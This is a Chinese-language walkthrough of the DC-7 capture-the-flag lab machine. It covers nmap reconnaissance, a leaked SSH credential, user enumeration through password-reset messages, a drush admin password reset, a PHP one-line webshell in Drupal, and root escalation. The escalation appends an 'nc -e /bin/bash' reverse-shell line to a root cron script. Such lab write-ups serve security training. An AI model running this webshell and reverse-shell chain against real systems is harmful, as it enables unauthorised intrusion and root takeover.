靶机登陆页面已给IP地址
靶机地址192.168.47.143,使用nmap进行信息收集,目标开放了80 http服务与22的ssh服务,首先访问一下80端口
DC-7引入了一些“新”概念,但我将把它们留给你自己去弄清楚。: -)
虽然这个挑战并不完全是技术性的,但如果您需要诉诸暴力强制或字典攻击,您可能不会成功。
你要做的,就是“跳出”思维定势。
“跳出”框框。: -)
以为是一个命令执行页面,因为Drupal 8版本确实存在一个命令执行的漏洞,但是利用poc失败,在msf中也利用失败了,所以找其他的方法,页面左下角注意到了DC7USER字样,应该是@原作者?,百度搜一下,第一条就是Dc7User
用户名 dc7user
密 码 MdR3xOgB7#dW
源代码泄露,尝试Log in,但是在网页中登陆失败了,那这个账号除了22端口的ssh账号以外也没有可以利用的地方了吧,尝试一下ssh
在/home/dc7user目录下发现了一个文件和一个文件夹,一个是backups一个叫mbox,查看过后知道mbox像是一个日志文件,记录着一个以root身份执行的定时命令的日志,通过这个了解到/opt/scirpts/backups.sh这个脚本文件一直在以定时方式执行,dump一个sql数据文件,并且使用gpg命令进行加密储存在/home/dc7user/backups路径下,还有一个website.tar.gz文件,可能是网站源码?查看一下这个sh文件
gpg 命令是用来加密文件的,加密后的文件都是乱码
drush 是一个简化了创建和管理Drupal8网站的命令行工具
ls -l一下查看一下可以对文件执行操作的用户发现只有Root和www-data,那也就是说只能先搞定www-data用户了,看到www-data用户就想起webshell了,再尝试一下对80端口的渗透,在之前的Login阶段时发现了密码为明文传输,可以暴力破解但是对自己的字典并不自信,在一旁的重置密码模块中发现了,重置dc7user的密码时会返回一个
Further instructions have been sent to your email address.
但是当输入了不存在的用户时会返回一个错误的信息,抱着试一试的心态找到了一个admin用户,利用刚刚提到的drush管理工具,重置一下admin的密码试一试,
在/var/www/html目录下执行成功了,进行登陆
但是Drupal 8 并不支持PHP语言,在extend模块,在编辑页面编辑一下welcome,并且添加一句话木马
ps:注意要把文章语言模块改成PHP才可以连接
反弹shell
利用www-data的权限修改backups.sh文件,提权
echo "nc -e /bin/bash 192.168.47.137 1234" >> /opt/scripts/backups.sh
然后我们再开一个命令行,监听1234端口 等待定时任务运行此脚本